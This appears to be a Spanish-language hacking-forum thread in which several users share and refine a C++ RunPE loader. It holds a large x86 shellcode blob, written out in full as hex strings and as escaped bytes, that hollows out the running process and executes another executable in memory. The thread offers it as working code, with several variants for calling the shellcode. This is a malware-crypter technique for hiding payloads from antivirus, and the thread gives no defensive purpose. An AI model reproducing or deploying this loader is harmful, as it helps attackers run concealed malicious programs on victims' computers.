• Fuentes

 #477518  por crack81
 
Traigo la version del runpe shellcode la cual he visto que esta hecha en vb6, autoit, Delphi pero no en C++ asi que ya haci falta ademas que hacen faltan mas runpe en c++
y por supuesto como llamarlo

les dejo el codigo
#include<windows.h>
#include<iostream>

using namespace std;


bool runPE(const char *Buffer, const WCHAR path[]){

  string s_ASM[8];
  byte b_ASM[1288];

   s_ASM[0] = "60E84E0000006B00650072006E0065006C003300320000006E00740064006C006C0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000005B8BFC6A42E8BB0300008B54242889118B54242C6A3EE8AA03000089116A4AE8A103000089396A1E6A3CE89D0300006A2268F4000000E8910300006A266A24E8880300006A2A6A40E87F030000";
   s_ASM[1] = "6A2E6A0CE8760300006A3268C8000000E86A0300006A2AE85C0300008B09C701440000006A12E84D030000685BE814CF51E8790300006A3EE83B0300008BD16A1EE8320300006A40FF32FF31FFD06A12E823030000685BE814CF51E84F0300006A1EE8110300008B098B513C6A3EE8050300008B3903FA6A22E8FA0200008B0968F80000005751FFD06A00E8E80200006888FEB31651E8140300006A2EE8D60200";
   s_ASM[2] = "008B396A2AE8CD0200008B116A42E8C402000057526A006A006A046A006A006A006A00FF31FFD06A12E8A902000068D03710F251E8D50200006A22E8970200008B116A2EE88E0200008B09FF7234FF31FFD06A00E87E020000689C951A6E51E8AA0200006A22E86C0200008B118B396A2EE8610200008B096A406800300000FF7250FF7734FF31FFD06A36E8470200008BD16A22E83E0200008B396A3EE8350200";
   s_ASM[3]= "008B316A22E82C0200008B016A2EE8230200008B0952FF775456FF7034FF316A00E81002000068A16A3DD851E83C02000083C40CFFD06A12E8F9010000685BE814CF51E8250200006A22E8E70100008B1183C2066A3AE8DB0100006A025251FFD06A36E8CE010000C70100000000B8280000006A36E8BC010000F7216A1EE8B30100008B118B523C81C2F800000003D06A3EE89F01000003116A26E8960100006A";
   s_ASM[4] = "2852FF316A12E88A010000685BE814CF51E8B601000083C40CFFD06A26E8730100008B398B098B71146A3EE86501000003316A26E85C0100008B098B510C6A22E8500100008B090351346A46E8440100008BC16A2EE83B0100008B0950FF77105652FF316A00E82A01000068A16A3DD851E85601000083C40CFFD06A36E8130100008B1183C20189116A3AE8050100008B093BCA0F8533FFFFFF6A32E8F4000000";
   s_ASM[5] = "8B09C701070001006A00E8E500000068D2C7A76851E8110100006A32E8D30000008B116A2EE8CA0000008B0952FF7104FFD06A22E8BB0000008B3983C7346A32E8AF0000008B318BB6A400000083C6086A2EE89D0000008B116A46E894000000516A045756FF326A00E88600000068A16A3DD851E8B200000083C40CFFD06A22E86F0000008B098B51280351346A32E8600000008B0981C1B000000089116A00E8";
   s_ASM[6] = "4F00000068D3C7A7E851E87B0000006A32E83D0000008BD16A2EE8340000008B09FF32FF7104FFD06A00E82400000068883F4A9E51E8500000006A2EE8120000008B09FF7104FFD06A4AE8040000008B2161C38BCB034C2404C36A00E8F2FFFFFF6854CAAF9151E81E0000006A406800100000FF7424186A00FFD0FF742414E8CFFFFFFF890183C410C3E82200000068A44E0EEC50E84B00000083C408FF742404";
   s_ASM[7] = "FFD0FF74240850E83800000083C408C355525153565733C0648B70308B760C8B761C8B6E088B7E208B3638471875F3803F6B7407803F4B7402EBE78BC55F5E5B595A5DC35552515356578B6C241C85ED74438B453C8B54287803D58B4A188B5A2003DDE330498B348B03F533FF33C0FCAC84C07407C1CF0D03F8EBF43B7C242075E18B5A2403DD668B0C4B8B5A1C03DD8B048B03C55F5E5B595A5DC3C300000000";

  int k=0;
  for(int i=0;i<=7;i++){

    for(int j=0;j<322;j+=2){
        b_ASM[k]=strtoul(s_ASM[i].substr(j, 2).c_str(), NULL, 16);
        k++;
    }

  }

  CallWindowProcW((WNDPROC)&b_ASM[0],(HWND)&path[0],UINT(&Buffer[0]),0,0);
  return true;
}


string ReadFileWs(const string FilePath){
    HANDLE File=CreateFileA(FilePath.c_str(),GENERIC_READ,FILE_SHARE_READ,NULL,OPEN_EXISTING,0,NULL);

    if(File==INVALID_HANDLE_VALUE){
        return NULL;
    }

    DWORD _size=GetFileSize(File,0);
    char *Buffer=new char[_size+1];
    DWORD bufferLen=0;
    bool result=ReadFile(File,Buffer,_size,&bufferLen,0);
    CloseHandle(File);

    string buff(Buffer,bufferLen);
    delete[] Buffer;
    if(result)return buff;
    else return NULL;
}



int main()
{

    wchar_t  szFilePath[256];
    GetModuleFileNameW( NULL,LPWSTR(szFilePath), 256);//ruta del archivo actual
    string Buffer=ReadFileWs("C:\\bcb6kg.EXE");//archivo a leer
    runPE(&Buffer[0],szFilePath);//ejecutando en memoria
    cout<<"Listo"<<endl;
    cin.get();

    return 0;
}
 #477521  por Blau
 
Yo lo usaba así:
bool RunPE(LPCWSTR szFilePath, LPVOID pFile) {
    char shellcode[] = "\x60\xE8\x4E\x00\x00\x00\x6B\x00\x65\x00\x72\x00\x6E\x00\x65\x00\x6C\x00\x33\x00\x32\x00\x00\x00\x6E\x00\x74\x00\x64\x00\x6C\x00\x6C\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x5B\x8B\xFC\x6A\x42\xE8\xBB\x03\x00\x00\x8B\x54\x24\x28\x89\x11\x8B\x54\x24\x2C\x6A\x3E\xE8\xAA\x03\x00\x00\x89\x11\x6A\x4A\xE8\xA1\x03\x00\x00\x89\x39\x6A\x1E\x6A\x3C\xE8\x9D\x03\x00\x00\x6A\x22\x68\xF4\x00\x00\x00\xE8\x91\x03\x00\x00\x6A\x26\x6A\x24\xE8\x88\x03\x00\x00\x6A\x2A\x6A\x40\xE8\x7F\x03\x00\x00\x6A\x2E\x6A\x0C\xE8\x76\x03\x00\x00\x6A\x32\x68\xC8\x00\x00\x00\xE8\x6A\x03\x00\x00\x6A\x2A\xE8\x5C\x03\x00\x00\x8B\x09\xC7\x01\x44\x00\x00\x00\x6A\x12\xE8\x4D\x03\x00\x00\x68\x5B\xE8\x14\xCF\x51\xE8\x79\x03\x00\x00\x6A\x3E\xE8\x3B\x03\x00\x00\x8B\xD1\x6A\x1E\xE8\x32\x03\x00\x00\x6A\x40\xFF\x32\xFF\x31\xFF\xD0\x6A\x12\xE8\x23\x03\x00\x00\x68\x5B\xE8\x14\xCF\x51\xE8\x4F\x03\x00\x00\x6A\x1E\xE8\x11\x03\x00\x00\x8B\x09\x8B\x51\x3C\x6A\x3E\xE8\x05\x03\x00\x00\x8B\x39\x03\xFA\x6A\x22\xE8\xFA\x02\x00\x00\x8B\x09\x68\xF8\x00\x00\x00\x57\x51\xFF\xD0\x6A\x00\xE8\xE8\x02\x00\x00\x68\x88\xFE\xB3\x16\x51\xE8\x14\x03\x00\x00\x6A\x2E\xE8\xD6\x02\x00\x00\x8B\x39\x6A\x2A\xE8\xCD\x02\x00\x00\x8B\x11\x6A\x42\xE8\xC4\x02\x00\x00\x57\x52\x6A\x00\x6A\x00\x6A\x04\x6A\x00\x6A\x00\x6A\x00\x6A\x00\xFF\x31\xFF\xD0\x6A\x12\xE8\xA9\x02\x00\x00\x68\xD0\x37\x10\xF2\x51\xE8\xD5\x02\x00\x00\x6A\x22\xE8\x97\x02\x00\x00\x8B\x11\x6A\x2E\xE8\x8E\x02\x00\x00\x8B\x09\xFF\x72\x34\xFF\x31\xFF\xD0\x6A\x00\xE8\x7E\x02\x00\x00\x68\x9C\x95\x1A\x6E\x51\xE8\xAA\x02\x00\x00\x6A\x22\xE8\x6C\x02\x00\x00\x8B\x11\x8B\x39\x6A\x2E\xE8\x61\x02\x00\x00\x8B\x09\x6A\x40\x68\x00\x30\x00\x00\xFF\x72\x50\xFF\x77\x34\xFF\x31\xFF\xD0\x6A\x36\xE8\x47\x02\x00\x00\x8B\xD1\x6A\x22\xE8\x3E\x02\x00\x00\x8B\x39\x6A\x3E\xE8\x35\x02\x00\x00\x8B\x31\x6A\x22\xE8\x2C\x02\x00\x00\x8B\x01\x6A\x2E\xE8\x23\x02\x00\x00\x8B\x09\x52\xFF\x77\x54\x56\xFF\x70\x34\xFF\x31\x6A\x00\xE8\x10\x02\x00\x00\x68\xA1\x6A\x3D\xD8\x51\xE8\x3C\x02\x00\x00\x83\xC4\x0C\xFF\xD0\x6A\x12\xE8\xF9\x01\x00\x00\x68\x5B\xE8\x14\xCF\x51\xE8\x25\x02\x00\x00\x6A\x22\xE8\xE7\x01\x00\x00\x8B\x11\x83\xC2\x06\x6A\x3A\xE8\xDB\x01\x00\x00\x6A\x02\x52\x51\xFF\xD0\x6A\x36\xE8\xCE\x01\x00\x00\xC7\x01\x00\x00\x00\x00\xB8\x28\x00\x00\x00\x6A\x36\xE8\xBC\x01\x00\x00\xF7\x21\x6A\x1E\xE8\xB3\x01\x00\x00\x8B\x11\x8B\x52\x3C\x81\xC2\xF8\x00\x00\x00\x03\xD0\x6A\x3E\xE8\x9F\x01\x00\x00\x03\x11\x6A\x26\xE8\x96\x01\x00\x00\x6A\x28\x52\xFF\x31\x6A\x12\xE8\x8A\x01\x00\x00\x68\x5B\xE8\x14\xCF\x51\xE8\xB6\x01\x00\x00\x83\xC4\x0C\xFF\xD0\x6A\x26\xE8\x73\x01\x00\x00\x8B\x39\x8B\x09\x8B\x71\x14\x6A\x3E\xE8\x65\x01\x00\x00\x03\x31\x6A\x26\xE8\x5C\x01\x00\x00\x8B\x09\x8B\x51\x0C\x6A\x22\xE8\x50\x01\x00\x00\x8B\x09\x03\x51\x34\x6A\x46\xE8\x44\x01\x00\x00\x8B\xC1\x6A\x2E\xE8\x3B\x01\x00\x00\x8B\x09\x50\xFF\x77\x10\x56\x52\xFF\x31\x6A\x00\xE8\x2A\x01\x00\x00\x68\xA1\x6A\x3D\xD8\x51\xE8\x56\x01\x00\x00\x83\xC4\x0C\xFF\xD0\x6A\x36\xE8\x13\x01\x00\x00\x8B\x11\x83\xC2\x01\x89\x11\x6A\x3A\xE8\x05\x01\x00\x00\x8B\x09\x3B\xCA\x0F\x85\x33\xFF\xFF\xFF\x6A\x32\xE8\xF4\x00\x00\x00\x8B\x09\xC7\x01\x07\x00\x01\x00\x6A\x00\xE8\xE5\x00\x00\x00\x68\xD2\xC7\xA7\x68\x51\xE8\x11\x01\x00\x00\x6A\x32\xE8\xD3\x00\x00\x00\x8B\x11\x6A\x2E\xE8\xCA\x00\x00\x00\x8B\x09\x52\xFF\x71\x04\xFF\xD0\x6A\x22\xE8\xBB\x00\x00\x00\x8B\x39\x83\xC7\x34\x6A\x32\xE8\xAF\x00\x00\x00\x8B\x31\x8B\xB6\xA4\x00\x00\x00\x83\xC6\x08\x6A\x2E\xE8\x9D\x00\x00\x00\x8B\x11\x6A\x46\xE8\x94\x00\x00\x00\x51\x6A\x04\x57\x56\xFF\x32\x6A\x00\xE8\x86\x00\x00\x00\x68\xA1\x6A\x3D\xD8\x51\xE8\xB2\x00\x00\x00\x83\xC4\x0C\xFF\xD0\x6A\x22\xE8\x6F\x00\x00\x00\x8B\x09\x8B\x51\x28\x03\x51\x34\x6A\x32\xE8\x60\x00\x00\x00\x8B\x09\x81\xC1\xB0\x00\x00\x00\x89\x11\x6A\x00\xE8\x4F\x00\x00\x00\x68\xD3\xC7\xA7\xE8\x51\xE8\x7B\x00\x00\x00\x6A\x32\xE8\x3D\x00\x00\x00\x8B\xD1\x6A\x2E\xE8\x34\x00\x00\x00\x8B\x09\xFF\x32\xFF\x71\x04\xFF\xD0\x6A\x00\xE8\x24\x00\x00\x00\x68\x88\x3F\x4A\x9E\x51\xE8\x50\x00\x00\x00\x6A\x2E\xE8\x12\x00\x00\x00\x8B\x09\xFF\x71\x04\xFF\xD0\x6A\x4A\xE8\x04\x00\x00\x00\x8B\x21\x61\xC3\x8B\xCB\x03\x4C\x24\x04\xC3\x6A\x00\xE8\xF2\xFF\xFF\xFF\x68\x54\xCA\xAF\x91\x51\xE8\x1E\x00\x00\x00\x6A\x40\x68\x00\x10\x00\x00\xFF\x74\x24\x18\x6A\x00\xFF\xD0\xFF\x74\x24\x14\xE8\xCF\xFF\xFF\xFF\x89\x01\x83\xC4\x10\xC3\xE8\x22\x00\x00\x00\x68\xA4\x4E\x0E\xEC\x50\xE8\x4B\x00\x00\x00\x83\xC4\x08\xFF\x74\x24\x04\xFF\xD0\xFF\x74\x24\x08\x50\xE8\x38\x00\x00\x00\x83\xC4\x08\xC3\x55\x52\x51\x53\x56\x57\x33\xC0\x64\x8B\x70\x30\x8B\x76\x0C\x8B\x76\x1C\x8B\x6E\x08\x8B\x7E\x20\x8B\x36\x38\x47\x18\x75\xF3\x80\x3F\x6B\x74\x07\x80\x3F\x4B\x74\x02\xEB\xE7\x8B\xC5\x5F\x5E\x5B\x59\x5A\x5D\xC3\x55\x52\x51\x53\x56\x57\x8B\x6C\x24\x1C\x85\xED\x74\x43\x8B\x45\x3C\x8B\x54\x28\x78\x03\xD5\x8B\x4A\x18\x8B\x5A\x20\x03\xDD\xE3\x30\x49\x8B\x34\x8B\x03\xF5\x33\xFF\x33\xC0\xFC\xAC\x84\xC0\x74\x07\xC1\xCF\x0D\x03\xF8\xEB\xF4\x3B\x7C\x24\x20\x75\xE1\x8B\x5A\x24\x03\xDD\x66\x8B\x0C\x4B\x8B\x5A\x1C\x03\xDD\x8B\x04\x8B\x03\xC5\x5F\x5E\x5B\x59\x5A\x5D\xC3\xC3\x00\x00\x00\x00";
    return (_bCallWindowProc((WNDPROC)&shellcode, (HWND)szFilePath, (UINT)pFile, 0, 0) > 0);
}
NOTA: mi CallWindowProc se llama así porque la llamaba dinámicamente.
typedef LRESULT ( __stdcall * bCallWindowProc) (WNDPROC, HWND, UINT, WPARAM, LPARAM);
bCallWindowProc _bCallWindowProc = bCallWindowProc(GetProcAddress(GetModuleHandleA("user32.dll"), "CallWindowProcA"));
 #477548  por Pink
 
Si usan C/C++ no usen CallwindowProc :S

Muy Buena La traducción Bro.

@Crack si usas unicode por ejemplo en GetModuleFileNameW es mejor pasar un BUffer mas grande. incluso mas que que MAX_PATH.

Saludos
 #477557  por Pink
 
Pensándolo bien no tomes en cuenta lo que dije GetModuleFileNameW (Y si se puede crear una ruta mas laga de 255)

Si tengo tiempo traigo mi versión.

Saludos
 #477566  por crack81
 
Blau
Yo hice este llamado por que asi me pedia los parametros en codeblocks, tambien cambia un poco en c++ builder.
Lo de llamarlo dinamicamente es interesante no solo para la CallwindowProc.

Pink porque no es bueno usar CallwindowProc y si recomiendas otra avisa por favor, con respecto GetModuleFileNameW no puse mucho atencion con el tamaño del path aunque creo que lo minimio deberia ser MAX_PATH que son como 260 caracteres lo que no se si vale igual para la version unicode, ni tampoco se cual seria lo mas "optimo".

Saludos....
 #477567  por Pink
 
Porque en C puedes llamar directamente el Shellcode sin necesidad de usar callwindowproc incluso hacerlo dinámico es cagarla porque agregas load library y getprocaddress. puedes usar asm en linea. o también un conversión de tipo para llamar el shellcode como función.
Saludos
 #477569  por Pink
 
Si no te queda muy claro me refiero a algo así.

void (*AsmCall)() = (int(*)())shellcode;


Avísame si captas a lo que me refiero.
Saludos
 #477575  por Blau
 
@crack81
Yo también uso Code::Blocks de IDE pero uso Visual Studio 2005 como compilador.

@Pink
También intenté hacerlo así pero debido a mis limitados conocimientos de C/C++ no supe cómo pasarle los argumentos (búfer y ruta).
 #477576  por crack81
 
Prueba con esto
bool runPE(char *Buffer,WCHAR path[]){

  string s_ASM[8];
  byte b_ASM[1288];

   s_ASM[0] = "60E84E0000006B00650072006E0065006C003300320000006E00740064006C006C0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000005B8BFC6A42E8BB0300008B54242889118B54242C6A3EE8AA03000089116A4AE8A103000089396A1E6A3CE89D0300006A2268F4000000E8910300006A266A24E8880300006A2A6A40E87F030000";
   s_ASM[1] = "6A2E6A0CE8760300006A3268C8000000E86A0300006A2AE85C0300008B09C701440000006A12E84D030000685BE814CF51E8790300006A3EE83B0300008BD16A1EE8320300006A40FF32FF31FFD06A12E823030000685BE814CF51E84F0300006A1EE8110300008B098B513C6A3EE8050300008B3903FA6A22E8FA0200008B0968F80000005751FFD06A00E8E80200006888FEB31651E8140300006A2EE8D60200";
   s_ASM[2] = "008B396A2AE8CD0200008B116A42E8C402000057526A006A006A046A006A006A006A00FF31FFD06A12E8A902000068D03710F251E8D50200006A22E8970200008B116A2EE88E0200008B09FF7234FF31FFD06A00E87E020000689C951A6E51E8AA0200006A22E86C0200008B118B396A2EE8610200008B096A406800300000FF7250FF7734FF31FFD06A36E8470200008BD16A22E83E0200008B396A3EE8350200";
   s_ASM[3]= "008B316A22E82C0200008B016A2EE8230200008B0952FF775456FF7034FF316A00E81002000068A16A3DD851E83C02000083C40CFFD06A12E8F9010000685BE814CF51E8250200006A22E8E70100008B1183C2066A3AE8DB0100006A025251FFD06A36E8CE010000C70100000000B8280000006A36E8BC010000F7216A1EE8B30100008B118B523C81C2F800000003D06A3EE89F01000003116A26E8960100006A";
   s_ASM[4] = "2852FF316A12E88A010000685BE814CF51E8B601000083C40CFFD06A26E8730100008B398B098B71146A3EE86501000003316A26E85C0100008B098B510C6A22E8500100008B090351346A46E8440100008BC16A2EE83B0100008B0950FF77105652FF316A00E82A01000068A16A3DD851E85601000083C40CFFD06A36E8130100008B1183C20189116A3AE8050100008B093BCA0F8533FFFFFF6A32E8F4000000";
   s_ASM[5] = "8B09C701070001006A00E8E500000068D2C7A76851E8110100006A32E8D30000008B116A2EE8CA0000008B0952FF7104FFD06A22E8BB0000008B3983C7346A32E8AF0000008B318BB6A400000083C6086A2EE89D0000008B116A46E894000000516A045756FF326A00E88600000068A16A3DD851E8B200000083C40CFFD06A22E86F0000008B098B51280351346A32E8600000008B0981C1B000000089116A00E8";
   s_ASM[6] = "4F00000068D3C7A7E851E87B0000006A32E83D0000008BD16A2EE8340000008B09FF32FF7104FFD06A00E82400000068883F4A9E51E8500000006A2EE8120000008B09FF7104FFD06A4AE8040000008B2161C38BCB034C2404C36A00E8F2FFFFFF6854CAAF9151E81E0000006A406800100000FF7424186A00FFD0FF742414E8CFFFFFFF890183C410C3E82200000068A44E0EEC50E84B00000083C408FF742404";
   s_ASM[7] = "FFD0FF74240850E83800000083C408C355525153565733C0648B70308B760C8B761C8B6E088B7E208B3638471875F3803F6B7407803F4B7402EBE78BC55F5E5B595A5DC35552515356578B6C241C85ED74438B453C8B54287803D58B4A188B5A2003DDE330498B348B03F533FF33C0FCAC84C07407C1CF0D03F8EBF43B7C242075E18B5A2403DD668B0C4B8B5A1C03DD8B048B03C55F5E5B595A5DC3C300000000";

  int k=0;
  for(int i=0;i<=7;i++){

    for(int j=0;j<322;j+=2){
        b_ASM[k]=strtoul(s_ASM[i].substr(j, 2).c_str(), NULL, 16);
        k++;
    }

  }

  int(*callAsm)(WCHAR*,char*)=(int(*)(WCHAR*,char*))b_ASM;
  callAsm(&path[0],&Buffer[0]);
  return true;
}
Saludos...
 #477577  por Pink
 
o Así.
#include <iostream>
#include<windows.h>

using namespace std;

string ReadFileWs(const string FilePath){
    HANDLE File=CreateFileA(FilePath.c_str(),GENERIC_READ,FILE_SHARE_READ,NULL,OPEN_EXISTING,0,NULL);
    if(File==INVALID_HANDLE_VALUE){
        return NULL;
    }
    DWORD _size=GetFileSize(File,0);
    char *Buffer=new char[_size+1];
    DWORD bufferLen=0;
    bool result=ReadFile(File,Buffer,_size,&bufferLen,0);
    CloseHandle(File);

    string buff(Buffer,bufferLen);
    delete[] Buffer;
    if(result)return buff;
    else return NULL;
}

int main(void){
char shellcode[] = "\x60\xE8\x4E\x00\x00\x00\x6B\x00\x65\x00\x72\x00\x6E\x00\x65\x00\x6C\x00\x33\x00\x32\x00\x00\x00\x6E\x00\x74\x00\x64\x00\x6C\x00\x6C\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x5B\x8B\xFC\x6A\x42\xE8\xBB\x03\x00\x00\x8B\x54\x24\x28\x89\x11\x8B\x54\x24\x2C\x6A\x3E\xE8\xAA\x03\x00\x00\x89\x11\x6A\x4A\xE8\xA1\x03\x00\x00\x89\x39\x6A\x1E\x6A\x3C\xE8\x9D\x03\x00\x00\x6A\x22\x68\xF4\x00\x00\x00\xE8\x91\x03\x00\x00\x6A\x26\x6A\x24\xE8\x88\x03\x00\x00\x6A\x2A\x6A\x40\xE8\x7F\x03\x00\x00\x6A\x2E\x6A\x0C\xE8\x76\x03\x00\x00\x6A\x32\x68\xC8\x00\x00\x00\xE8\x6A\x03\x00\x00\x6A\x2A\xE8\x5C\x03\x00\x00\x8B\x09\xC7\x01\x44\x00\x00\x00\x6A\x12\xE8\x4D\x03\x00\x00\x68\x5B\xE8\x14\xCF\x51\xE8\x79\x03\x00\x00\x6A\x3E\xE8\x3B\x03\x00\x00\x8B\xD1\x6A\x1E\xE8\x32\x03\x00\x00\x6A\x40\xFF\x32\xFF\x31\xFF\xD0\x6A\x12\xE8\x23\x03\x00\x00\x68\x5B\xE8\x14\xCF\x51\xE8\x4F\x03\x00\x00\x6A\x1E\xE8\x11\x03\x00\x00\x8B\x09\x8B\x51\x3C\x6A\x3E\xE8\x05\x03\x00\x00\x8B\x39\x03\xFA\x6A\x22\xE8\xFA\x02\x00\x00\x8B\x09\x68\xF8\x00\x00\x00\x57\x51\xFF\xD0\x6A\x00\xE8\xE8\x02\x00\x00\x68\x88\xFE\xB3\x16\x51\xE8\x14\x03\x00\x00\x6A\x2E\xE8\xD6\x02\x00\x00\x8B\x39\x6A\x2A\xE8\xCD\x02\x00\x00\x8B\x11\x6A\x42\xE8\xC4\x02\x00\x00\x57\x52\x6A\x00\x6A\x00\x6A\x04\x6A\x00\x6A\x00\x6A\x00\x6A\x00\xFF\x31\xFF\xD0\x6A\x12\xE8\xA9\x02\x00\x00\x68\xD0\x37\x10\xF2\x51\xE8\xD5\x02\x00\x00\x6A\x22\xE8\x97\x02\x00\x00\x8B\x11\x6A\x2E\xE8\x8E\x02\x00\x00\x8B\x09\xFF\x72\x34\xFF\x31\xFF\xD0\x6A\x00\xE8\x7E\x02\x00\x00\x68\x9C\x95\x1A\x6E\x51\xE8\xAA\x02\x00\x00\x6A\x22\xE8\x6C\x02\x00\x00\x8B\x11\x8B\x39\x6A\x2E\xE8\x61\x02\x00\x00\x8B\x09\x6A\x40\x68\x00\x30\x00\x00\xFF\x72\x50\xFF\x77\x34\xFF\x31\xFF\xD0\x6A\x36\xE8\x47\x02\x00\x00\x8B\xD1\x6A\x22\xE8\x3E\x02\x00\x00\x8B\x39\x6A\x3E\xE8\x35\x02\x00\x00\x8B\x31\x6A\x22\xE8\x2C\x02\x00\x00\x8B\x01\x6A\x2E\xE8\x23\x02\x00\x00\x8B\x09\x52\xFF\x77\x54\x56\xFF\x70\x34\xFF\x31\x6A\x00\xE8\x10\x02\x00\x00\x68\xA1\x6A\x3D\xD8\x51\xE8\x3C\x02\x00\x00\x83\xC4\x0C\xFF\xD0\x6A\x12\xE8\xF9\x01\x00\x00\x68\x5B\xE8\x14\xCF\x51\xE8\x25\x02\x00\x00\x6A\x22\xE8\xE7\x01\x00\x00\x8B\x11\x83\xC2\x06\x6A\x3A\xE8\xDB\x01\x00\x00\x6A\x02\x52\x51\xFF\xD0\x6A\x36\xE8\xCE\x01\x00\x00\xC7\x01\x00\x00\x00\x00\xB8\x28\x00\x00\x00\x6A\x36\xE8\xBC\x01\x00\x00\xF7\x21\x6A\x1E\xE8\xB3\x01\x00\x00\x8B\x11\x8B\x52\x3C\x81\xC2\xF8\x00\x00\x00\x03\xD0\x6A\x3E\xE8\x9F\x01\x00\x00\x03\x11\x6A\x26\xE8\x96\x01\x00\x00\x6A\x28\x52\xFF\x31\x6A\x12\xE8\x8A\x01\x00\x00\x68\x5B\xE8\x14\xCF\x51\xE8\xB6\x01\x00\x00\x83\xC4\x0C\xFF\xD0\x6A\x26\xE8\x73\x01\x00\x00\x8B\x39\x8B\x09\x8B\x71\x14\x6A\x3E\xE8\x65\x01\x00\x00\x03\x31\x6A\x26\xE8\x5C\x01\x00\x00\x8B\x09\x8B\x51\x0C\x6A\x22\xE8\x50\x01\x00\x00\x8B\x09\x03\x51\x34\x6A\x46\xE8\x44\x01\x00\x00\x8B\xC1\x6A\x2E\xE8\x3B\x01\x00\x00\x8B\x09\x50\xFF\x77\x10\x56\x52\xFF\x31\x6A\x00\xE8\x2A\x01\x00\x00\x68\xA1\x6A\x3D\xD8\x51\xE8\x56\x01\x00\x00\x83\xC4\x0C\xFF\xD0\x6A\x36\xE8\x13\x01\x00\x00\x8B\x11\x83\xC2\x01\x89\x11\x6A\x3A\xE8\x05\x01\x00\x00\x8B\x09\x3B\xCA\x0F\x85\x33\xFF\xFF\xFF\x6A\x32\xE8\xF4\x00\x00\x00\x8B\x09\xC7\x01\x07\x00\x01\x00\x6A\x00\xE8\xE5\x00\x00\x00\x68\xD2\xC7\xA7\x68\x51\xE8\x11\x01\x00\x00\x6A\x32\xE8\xD3\x00\x00\x00\x8B\x11\x6A\x2E\xE8\xCA\x00\x00\x00\x8B\x09\x52\xFF\x71\x04\xFF\xD0\x6A\x22\xE8\xBB\x00\x00\x00\x8B\x39\x83\xC7\x34\x6A\x32\xE8\xAF\x00\x00\x00\x8B\x31\x8B\xB6\xA4\x00\x00\x00\x83\xC6\x08\x6A\x2E\xE8\x9D\x00\x00\x00\x8B\x11\x6A\x46\xE8\x94\x00\x00\x00\x51\x6A\x04\x57\x56\xFF\x32\x6A\x00\xE8\x86\x00\x00\x00\x68\xA1\x6A\x3D\xD8\x51\xE8\xB2\x00\x00\x00\x83\xC4\x0C\xFF\xD0\x6A\x22\xE8\x6F\x00\x00\x00\x8B\x09\x8B\x51\x28\x03\x51\x34\x6A\x32\xE8\x60\x00\x00\x00\x8B\x09\x81\xC1\xB0\x00\x00\x00\x89\x11\x6A\x00\xE8\x4F\x00\x00\x00\x68\xD3\xC7\xA7\xE8\x51\xE8\x7B\x00\x00\x00\x6A\x32\xE8\x3D\x00\x00\x00\x8B\xD1\x6A\x2E\xE8\x34\x00\x00\x00\x8B\x09\xFF\x32\xFF\x71\x04\xFF\xD0\x6A\x00\xE8\x24\x00\x00\x00\x68\x88\x3F\x4A\x9E\x51\xE8\x50\x00\x00\x00\x6A\x2E\xE8\x12\x00\x00\x00\x8B\x09\xFF\x71\x04\xFF\xD0\x6A\x4A\xE8\x04\x00\x00\x00\x8B\x21\x61\xC3\x8B\xCB\x03\x4C\x24\x04\xC3\x6A\x00\xE8\xF2\xFF\xFF\xFF\x68\x54\xCA\xAF\x91\x51\xE8\x1E\x00\x00\x00\x6A\x40\x68\x00\x10\x00\x00\xFF\x74\x24\x18\x6A\x00\xFF\xD0\xFF\x74\x24\x14\xE8\xCF\xFF\xFF\xFF\x89\x01\x83\xC4\x10\xC3\xE8\x22\x00\x00\x00\x68\xA4\x4E\x0E\xEC\x50\xE8\x4B\x00\x00\x00\x83\xC4\x08\xFF\x74\x24\x04\xFF\xD0\xFF\x74\x24\x08\x50\xE8\x38\x00\x00\x00\x83\xC4\x08\xC3\x55\x52\x51\x53\x56\x57\x33\xC0\x64\x8B\x70\x30\x8B\x76\x0C\x8B\x76\x1C\x8B\x6E\x08\x8B\x7E\x20\x8B\x36\x38\x47\x18\x75\xF3\x80\x3F\x6B\x74\x07\x80\x3F\x4B\x74\x02\xEB\xE7\x8B\xC5\x5F\x5E\x5B\x59\x5A\x5D\xC3\x55\x52\x51\x53\x56\x57\x8B\x6C\x24\x1C\x85\xED\x74\x43\x8B\x45\x3C\x8B\x54\x28\x78\x03\xD5\x8B\x4A\x18\x8B\x5A\x20\x03\xDD\xE3\x30\x49\x8B\x34\x8B\x03\xF5\x33\xFF\x33\xC0\xFC\xAC\x84\xC0\x74\x07\xC1\xCF\x0D\x03\xF8\xEB\xF4\x3B\x7C\x24\x20\x75\xE1\x8B\x5A\x24\x03\xDD\x66\x8B\x0C\x4B\x8B\x5A\x1C\x03\xDD\x8B\x04\x8B\x03\xC5\x5F\x5E\x5B\x59\x5A\x5D\xC3\xC3\x00\x00\x00\x00";
int (*AsmCall)(long, long) = (int(*)(long,long))shellcode;
wchar_t  szFilePath[256];
GetModuleFileNameW( NULL,LPWSTR(szFilePath), 256);//ruta del archivo actual
string Buffer=ReadFileWs("C:\\Blauycrack81seaman.EXE");//archivo a leer
AsmCall((long)szFilePath,(long)&Buffer[0]);
return 0;
}
PD: yo también uso Code::Blocks
Saludos nenas
 #477598  por Blau
 
@Pink
¿Puedes pasarme un sample de 'Blauycrack81seaman.EXE'? He oído que es un virus muy potente
 #477662  por M3
 
@Adwind , en este no anda si no me equivoco , tendras que hacer canbio en el Shellcode para passar parametros

Buen trabajo crack81

Sld
 #477712  por Pink
 
Seguro se puede pero hay que agregarle instrucciones Yo lo hiciera pero no estoy motivado.

Saludos
 #477716  por M3
 
Hola @Pink , no nos vemos por skype capo xD
Lo que @Adwind quieres si no me equivoco seria algo como a ejemplo ejecutar (cmd.exe c/ Ipconfig ) y para esto necessitaria passar instruciones en CreateProcess ( no presente en este Shellcode por lo poko que pude mirar ) pero no creo que se pueda hacer con este shellcode mismo agregando tal Api en una otra funccion en el code , quizas lo hagas , pero no creo funcionara ao 100 %

Todavia de este foro se hacem magica

Slds

PD ; Bueno Lerte amigo